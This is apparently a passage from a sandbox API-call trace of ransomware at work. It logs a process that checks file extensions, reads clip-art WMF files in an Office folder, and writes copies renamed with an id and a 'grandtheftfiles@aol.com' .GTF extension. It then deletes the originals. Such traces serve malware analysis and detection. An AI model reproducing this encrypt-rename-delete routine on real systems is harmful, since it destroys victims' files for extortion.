	[0089.319] lstrlenW (lpString=".doc") returned 4
	[0089.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.319] lstrlenW (lpString=".docx") returned 5
	[0089.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.319] lstrlenW (lpString=".pdf") returned 4
	[0089.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.319] lstrlenW (lpString=".xls") returned 4
	[0089.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.319] lstrlenW (lpString=".xlsx") returned 5
	[0089.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.319] lstrlenW (lpString=".ppt") returned 4
	[0089.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0089.319] lstrlenW (lpString=".zip") returned 4
	[0089.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.319] lstrlenW (lpString=".rar") returned 4
	[0089.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.320] lstrlenW (lpString=".bz2") returned 4
	[0089.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.320] lstrlenW (lpString=".7z") returned 3
	[0089.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0089.320] lstrlenW (lpString=".dbf") returned 4
	[0089.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0089.320] lstrlenW (lpString=".1cd") returned 4
	[0089.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0089.320] lstrlenW (lpString=".jpg") returned 4
	[0089.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.320] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.320] lstrlenW (lpString="HH02282_.WMF") returned 12
	[0089.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.320] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=7932) returned 1
	[0089.320] CloseHandle (hObject=0x37c) returned 1
	[0089.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220
	[0089.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.321] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.321] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.321] GetLastError () returned 0x0
	[0089.321] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1efc, lpOverlapped=0x0) returned 1
	[0089.378] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1f00, lpOverlapped=0x0) returned 1
	[0089.401] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.401] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.401] SetEndOfFile (hFile=0x378) returned 1
	[0089.401] CloseHandle (hObject=0x378) returned 1
	[0089.401] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.401] SetEndOfFile (hFile=0x37c) returned 1
	[0089.402] CloseHandle (hObject=0x37c) returned 1
	[0089.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1
	[0089.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.403] lstrlenW (lpString=".doc") returned 4
	[0089.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.403] lstrlenW (lpString=".docx") returned 5
	[0089.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.403] lstrlenW (lpString=".pdf") returned 4
	[0089.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.403] lstrlenW (lpString=".xls") returned 4
	[0089.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.403] lstrlenW (lpString=".xlsx") returned 5
	[0089.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.403] lstrlenW (lpString=".ppt") returned 4
	[0089.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.403] lstrlenW (lpString=".zip") returned 4
	[0089.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.403] lstrlenW (lpString=".rar") returned 4
	[0089.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.403] lstrlenW (lpString=".bz2") returned 4
	[0089.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.403] lstrlenW (lpString=".7z") returned 3
	[0089.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.403] lstrlenW (lpString=".dbf") returned 4
	[0089.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.404] lstrlenW (lpString=".1cd") returned 4
	[0089.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.404] lstrlenW (lpString=".jpg") returned 4
	[0089.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.404] lstrlenW (lpString=".doc") returned 4
	[0089.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.404] lstrlenW (lpString=".docx") returned 5
	[0089.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.404] lstrlenW (lpString=".pdf") returned 4
	[0089.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.404] lstrlenW (lpString=".xls") returned 4
	[0089.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.404] lstrlenW (lpString=".xlsx") returned 5
	[0089.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.404] lstrlenW (lpString=".ppt") returned 4
	[0089.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.404] lstrlenW (lpString=".zip") returned 4
	[0089.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.404] lstrlenW (lpString=".rar") returned 4
	[0089.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.404] lstrlenW (lpString=".bz2") returned 4
	[0089.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.404] lstrlenW (lpString=".7z") returned 3
	[0089.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.404] lstrlenW (lpString=".dbf") returned 4
	[0089.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.405] lstrlenW (lpString=".1cd") returned 4
	[0089.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0089.405] lstrlenW (lpString=".jpg") returned 4
	[0089.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.405] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.405] lstrlenW (lpString="HH02298_.WMF") returned 12
	[0089.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.405] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=5552) returned 1
	[0089.405] CloseHandle (hObject=0x37c) returned 1
	[0089.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220
	[0089.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.406] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.406] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.406] GetLastError () returned 0x0
	[0089.406] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x15b0, lpOverlapped=0x0) returned 1
	[0089.408] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x15c0, lpOverlapped=0x0) returned 1
	[0089.409] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.409] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.409] SetEndOfFile (hFile=0x378) returned 1
	[0089.409] CloseHandle (hObject=0x378) returned 1
	[0089.409] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.409] SetEndOfFile (hFile=0x37c) returned 1
	[0089.410] CloseHandle (hObject=0x37c) returned 1
	[0089.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1
	[0089.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.411] lstrlenW (lpString=".doc") returned 4
	[0089.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.411] lstrlenW (lpString=".docx") returned 5
	[0089.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.411] lstrlenW (lpString=".pdf") returned 4
	[0089.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.411] lstrlenW (lpString=".xls") returned 4
	[0089.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.411] lstrlenW (lpString=".xlsx") returned 5
	[0089.411] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.411] lstrlenW (lpString=".ppt") returned 4
	[0089.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.411] lstrlenW (lpString=".zip") returned 4
	[0089.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.411] lstrlenW (lpString=".rar") returned 4
	[0089.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.411] lstrlenW (lpString=".bz2") returned 4
	[0089.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.411] lstrlenW (lpString=".7z") returned 3
	[0089.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.411] lstrlenW (lpString=".dbf") returned 4
	[0089.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.411] lstrlenW (lpString=".1cd") returned 4
	[0089.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.411] lstrlenW (lpString=".jpg") returned 4
	[0089.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.412] lstrlenW (lpString=".doc") returned 4
	[0089.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.412] lstrlenW (lpString=".docx") returned 5
	[0089.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.412] lstrlenW (lpString=".pdf") returned 4
	[0089.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.412] lstrlenW (lpString=".xls") returned 4
	[0089.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.412] lstrlenW (lpString=".xlsx") returned 5
	[0089.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.412] lstrlenW (lpString=".ppt") returned 4
	[0089.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.412] lstrlenW (lpString=".zip") returned 4
	[0089.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.412] lstrlenW (lpString=".rar") returned 4
	[0089.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.412] lstrlenW (lpString=".bz2") returned 4
	[0089.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.412] lstrlenW (lpString=".7z") returned 3
	[0089.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.412] lstrlenW (lpString=".dbf") returned 4
	[0089.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.412] lstrlenW (lpString=".1cd") returned 4
	[0089.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0089.412] lstrlenW (lpString=".jpg") returned 4
	[0089.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.413] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.413] lstrlenW (lpString="HH02312_.WMF") returned 12
	[0089.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.413] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=4970) returned 1
	[0089.413] CloseHandle (hObject=0x37c) returned 1
	[0089.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220
	[0089.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.413] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.413] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.414] GetLastError () returned 0x0
	[0089.414] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x136a, lpOverlapped=0x0) returned 1
	[0089.800] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1370, lpOverlapped=0x0) returned 1
	[0089.801] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.801] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.801] SetEndOfFile (hFile=0x378) returned 1
	[0089.802] CloseHandle (hObject=0x378) returned 1
	[0089.802] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.802] SetEndOfFile (hFile=0x37c) returned 1
	[0089.803] CloseHandle (hObject=0x37c) returned 1
	[0089.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1
	[0089.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.803] lstrlenW (lpString=".doc") returned 4
	[0089.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.803] lstrlenW (lpString=".docx") returned 5
	[0089.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.803] lstrlenW (lpString=".pdf") returned 4
	[0089.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.803] lstrlenW (lpString=".xls") returned 4
	[0089.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.803] lstrlenW (lpString=".xlsx") returned 5
	[0089.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.803] lstrlenW (lpString=".ppt") returned 4
	[0089.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.804] lstrlenW (lpString=".zip") returned 4
	[0089.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.804] lstrlenW (lpString=".rar") returned 4
	[0089.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.804] lstrlenW (lpString=".bz2") returned 4
	[0089.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.804] lstrlenW (lpString=".7z") returned 3
	[0089.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.804] lstrlenW (lpString=".dbf") returned 4
	[0089.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.804] lstrlenW (lpString=".1cd") returned 4
	[0089.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.804] lstrlenW (lpString=".jpg") returned 4
	[0089.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
